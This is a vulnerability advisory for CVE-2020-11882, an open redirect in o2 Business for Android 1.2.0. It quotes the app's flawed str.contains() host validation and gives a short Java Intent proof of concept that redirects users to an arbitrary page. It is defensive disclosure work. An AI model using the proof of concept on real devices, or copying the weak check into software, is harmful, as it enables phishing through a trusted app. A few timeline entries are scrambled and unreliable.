CVE-2020-11882 o2 Business for Android …

ADVISORY INFORMATION

Product: o2 Business for Android
Vendor URL: https://play.google.com/store/apps/details?id=telefonica.de.o2business
Type: Open Redirect [CWE-601]
Date found: 2020-04-16
Date published: 2020-07-01
CVSSv3 Score: 3.3 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N)
CVE: CVE-2020-11882

CREDITS

This vulnerability was discovered and researched by Julien Ahrens from RCE Security.

VERSIONS AFFECTED

o2 Business App for Android 1.2.0

INTRODUCTION

Kommunikation ist Ihr tägliches Sprungbrett in die Geschäftswelt. Und mit der neuen O2 Business App haben Sie alle wichtigen Details stets vor Augen. Verfolgen Sie investierte Gesprächszeiten zurück und sehen Sie verfügbare Kommunikations-Kapazitäten vorher. Vom aktuellen Stand des Inklusiv-Volumens, über Einzelverbindungen und Tarifdetails, bis zur lokalen Netz-Qualität behalten Sie mit der O2 Business App immer und überall den Durchblick. Erfahren Sie jetzt mehr über Ihren informativen Begleiter!

(from the vendor’s homepage)

VULNERABILITY DETAILS

The “O2 Business App” for Android exposes an activity to other apps called “canvasm.myo2.SplashActivity”. The purpose of this activity is to handle deeplinks which can be delivered to the app either via links or by directly calling the activity.

However, the app does not properly validate the format of deeplinks by just using str.contains() to verify the allowed host:

private boolean isVanityLink(String str) {
       return str.contains("https://o2.de") || str.contains("https://blau.de")
       || str.contains("https://e2e2.o2.de") ||
       str.contains("https://e2e2.blau.de");
   }

private boolean isDeepLink(String str) {
   return str.contains("https://www.o2online.de")
   || str.contains("https://www.blau.de")
   || str.contains("https://e2e2.o2online.de")
   || str.contains("https://e2e2.blau.de")
   || str.contains(BuildConfig.PIRANHA_BASE_E2E2_URL)
   || str.contains("https://login.o2online.de")
   || str.contains("https://login-e2e2.blau.de")
   || str.contains("https://login.blau.de");
}

This can be abused by an attacker (malicious app) to redirect a user to any page and deliver any content to the user. An exemplary exploit could look like the following:

Intent i = new Intent();
i.setComponent(new ComponentName("telefonica.de.o2business", "canvasm.myo2.SplashActivity"));
Uri uri = Uri.parse("https://www.rcesecurity.com?dummy=https://o2.de");
i.setData(uri);
startActivity(i);

RISK

A malicious app on the same device is able to exploit this vulnerability to lead the user to any webpage/content. The specific problem here is the assumed trust boundary between the user having the o2 Business app installed and what the app is actually doing/displaying to the user. So if the user sees the app being loaded and automatically redirecting to another page, it can be assumed that the loaded page is also trusted by the user.

SOLUTION

Update the app to version 1.3.0

REPORT TIMELINE

2020-04-16: Discovery of the vulnerability
2020-04-16: Although Telefonica runs a VDP on Bugcrowd; we did not want to accept their non-disclosure terms, which is why we have tried to contact them directly via their official CERT contact. the status of the fix. to be included in the next release.
2020-04-16: Telefonica responds and asks for full vulnerability details
2020-04-16: Send over the full advisory including a full PoC exploit.
2020-04-16: Telefonica acknowledges the issue
2020-04-16: CVE requested from MITRE
2020-04-17: MITRE assigns CVE-2020-11882
2020-06-03: No further communication from Telefonica. Mailed them again about
2020-06-03: Telefonica is still working on this issue and the fix is scheduled
2020-06-04: Version 1.3.0 is released
2020-07-01: Public disclosure.

REFERENCES

None

o2 Business for Android "canvasm.myo2.SplashActivity" <= 1.2.0 Open Redirect